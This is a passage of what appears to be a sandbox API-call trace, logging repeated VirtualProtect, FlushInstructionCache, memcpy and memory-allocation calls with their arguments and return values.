1 [0084.691] GetCurrentProcess () returned 0xffffffff [0084.691] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0084.691] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.691] GetCurrentProcess () returned 0xffffffff [0084.691] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0084.691] GetCurrentProcess () returned 0xffffffff [0084.691] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0084.691] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.692] GetCurrentProcess () returned 0xffffffff [0084.692] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0084.692] GetCurrentProcess () returned 0xffffffff [0084.692] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0084.692] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.692] GetCurrentProcess () returned 0xffffffff [0084.692] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0084.692] GetCurrentProcess () returned 0xffffffff [0084.692] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0084.692] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.692] GetCurrentProcess () returned 0xffffffff [0084.693] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0084.693] GetCurrentProcess () returned 0xffffffff [0084.693] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0084.693] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.693] GetCurrentProcess () returned 0xffffffff [0084.693] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0084.693] GetCurrentProcess () returned 0xffffffff [0084.693] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0084.693] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.693] GetCurrentProcess () returned 0xffffffff [0084.693] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0084.693] GetCurrentProcess () returned 0xffffffff [0084.694] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0084.694] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.694] GetCurrentProcess () returned 0xffffffff [0084.694] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0084.694] GetCurrentProcess () returned 0xffffffff [0084.694] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0084.694] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.694] GetCurrentProcess () returned 0xffffffff [0084.694] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0084.694] GetCurrentProcess () returned 0xffffffff [0084.694] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0084.694] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.695] GetCurrentProcess () returned 0xffffffff [0084.695] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0084.695] GetCurrentProcess () returned 0xffffffff [0084.695] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0084.695] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.695] GetCurrentProcess () returned 0xffffffff [0084.695] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0084.695] GetCurrentProcess () returned 0xffffffff [0084.695] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0084.695] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.696] GetCurrentProcess () returned 0xffffffff [0084.696] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0084.696] GetCurrentProcess () returned 0xffffffff [0084.696] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0084.696] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.696] GetCurrentProcess () returned 0xffffffff [0084.696] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0084.696] GetCurrentProcess () returned 0xffffffff [0084.697] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0084.697] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.697] GetCurrentProcess () returned 0xffffffff [0084.697] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0084.697] GetCurrentProcess () returned 0xffffffff [0084.697] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0084.697] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.726] GetCurrentProcess () returned 0xffffffff [0084.726] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0084.726] GetCurrentProcess () returned 0xffffffff [0084.726] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0084.726] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.727] GetCurrentProcess () returned 0xffffffff [0084.727] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0084.727] GetCurrentProcess () returned 0xffffffff [0084.727] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0084.727] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.728] GetCurrentProcess () returned 0xffffffff [0084.728] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0084.728] GetCurrentProcess () returned 0xffffffff [0084.728] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0084.728] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.728] GetCurrentProcess () returned 0xffffffff [0084.728] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0084.728] GetCurrentProcess () returned 0xffffffff [0084.728] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0084.728] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.729] GetCurrentProcess () returned 0xffffffff [0084.729] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0084.729] GetCurrentProcess () returned 0xffffffff [0084.729] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0084.729] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.729] GetCurrentProcess () returned 0xffffffff [0084.729] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0084.729] GetCurrentProcess () returned 0xffffffff [0084.729] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0084.729] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.730] GetCurrentProcess () returned 0xffffffff [0084.730] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0084.730] GetCurrentProcess () returned 0xffffffff [0084.730] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0084.730] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.730] GetCurrentProcess () returned 0xffffffff [0084.730] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0084.730] GetCurrentProcess () returned 0xffffffff [0084.730] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0084.730] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.730] GetCurrentProcess () returned 0xffffffff [0084.731] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0084.731] GetCurrentProcess () returned 0xffffffff [0084.731] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0084.731] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.731] GetCurrentProcess () returned 0xffffffff [0084.731] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0084.731] GetCurrentProcess () returned 0xffffffff [0084.731] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0084.731] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.731] GetCurrentProcess () returned 0xffffffff [0084.731] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0084.731] GetCurrentProcess () returned 0xffffffff [0084.731] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0084.732] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.732] GetCurrentProcess () returned 0xffffffff [0084.732] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0084.732] GetCurrentProcess () returned 0xffffffff [0084.732] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0084.732] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.732] GetCurrentProcess () returned 0xffffffff [0084.732] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0084.732] GetCurrentProcess () returned 0xffffffff [0084.732] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0084.732] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.733] GetCurrentProcess () returned 0xffffffff [0084.733] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0084.733] GetCurrentProcess () returned 0xffffffff [0084.733] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0084.733] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.733] GetCurrentProcess () returned 0xffffffff [0084.733] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0084.733] GetCurrentProcess () returned 0xffffffff [0084.733] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0084.733] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.734] GetCurrentProcess () returned 0xffffffff [0084.734] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0084.734] GetCurrentProcess () returned 0xffffffff [0084.734] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0084.734] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1974ac | out: lpflOldProtect=0x1974ac*=0x40) returned 1 [0084.734] GetCurrentProcess () returned 0xffffffff [0084.734] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0084.735] GetAsyncKeyState (vKey=3) returned 0 [0084.735] CRetailMalloc_Alloc () returned 0xca90ce0 [0084.735] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.735] memcpy (in: _Dst=0xfa55040, _Src=0x197748, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.736] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.736] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.736] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.736] memcpy (in: _Dst=0xfa54f3c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.736] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.736] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.736] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.736] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.736] memcpy (in: _Dst=0xfa54f3c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.736] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.737] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.737] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.737] memcpy (in: _Dst=0xfa54f38, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.737] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.737] CRetailMalloc_Realloc () returned 0xb3a6d50 [0084.737] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.737] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.737] memcpy (in: _Dst=0xfa54f38, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.737] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.737] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.738] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.738] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.738] memcpy (in: _Dst=0xfa54f3c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.738] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.738] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.738] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.738] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.738] memcpy (in: _Dst=0xfa54f3c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.738] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.738] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.738] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.738] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.739] memcpy (in: _Dst=0xfa54f3c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.739] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.739] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.739] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.739] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.739] memcpy (in: _Dst=0xfa54f3c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.739] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.739] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.740] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.740] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.740] memcpy (in: _Dst=0xfa54f3c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.740] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.740] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.740] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.740] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.740] memcpy (in: _Dst=0xfa54f3c, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.740] memcpy (in: _Dst=0xfa54f40, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0084.740] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.741] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.741] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.741] memcpy (in: _Dst=0xfa54f38, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.741] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.741] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.741] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.741] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.741] memcpy (in: _Dst=0xfa54f3c, _Src=0x19777c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.741] memcpy (in: _Dst=0xfa54f38, _Src=0x197748, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.745] CRetailMalloc_Alloc () returned 0xc85c240 [0084.745] memcpy (in: _Dst=0xc85c240, _Src=0x0, _Size=0x0 | out: _Dst=0xc85c240) returned 0xc85c240 [0084.745] memcpy (in: _Dst=0xca90f7c, _Src=0x1977e4, _Size=0x18 | out: _Dst=0xca90f7c) returned 0xca90f7c [0084.745] memcpy (in: _Dst=0xca90fbe, _Src=0xc85c240, _Size=0x2 | out: _Dst=0xca90fbe) returned 0xca90fbe [0084.746] CRetailMalloc_Realloc () returned 0xca90ce0 [0084.746] CRetailMalloc_Free () returned 0x1 [0084.746] CRetailMalloc_Free () returned 0x1 [0084.746] GetCurrentProcess () returned 0xffffffff [0084.746] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0084.746] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.746] GetCurrentProcess () returned 0xffffffff [0084.746] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0084.746] GetCurrentProcess () returned 0xffffffff [0084.746] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0084.746] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.747] GetCurrentProcess () returned 0xffffffff [0084.747] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0084.747] GetCurrentProcess () returned 0xffffffff [0084.747] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0084.747] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.748] GetCurrentProcess () returned 0xffffffff [0084.748] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0084.748] GetCurrentProcess () returned 0xffffffff [0084.748] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0084.748] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.748] GetCurrentProcess () returned 0xffffffff [0084.748] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0084.748] GetCurrentProcess () returned 0xffffffff [0084.748] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0084.748] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.749] GetCurrentProcess () returned 0xffffffff [0084.749] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0084.749] GetCurrentProcess () returned 0xffffffff [0084.749] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0084.749] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.749] GetCurrentProcess () returned 0xffffffff [0084.749] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0084.749] GetCurrentProcess () returned 0xffffffff [0084.749] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0084.749] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.749] GetCurrentProcess () returned 0xffffffff [0084.749] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0084.749] GetCurrentProcess () returned 0xffffffff [0084.749] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0084.750] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.750] GetCurrentProcess () returned 0xffffffff [0084.750] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0084.750] GetCurrentProcess () returned 0xffffffff [0084.750] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0084.750] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.750] GetCurrentProcess () returned 0xffffffff [0084.750] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0084.750] GetCurrentProcess () returned 0xffffffff [0084.750] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0084.750] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: 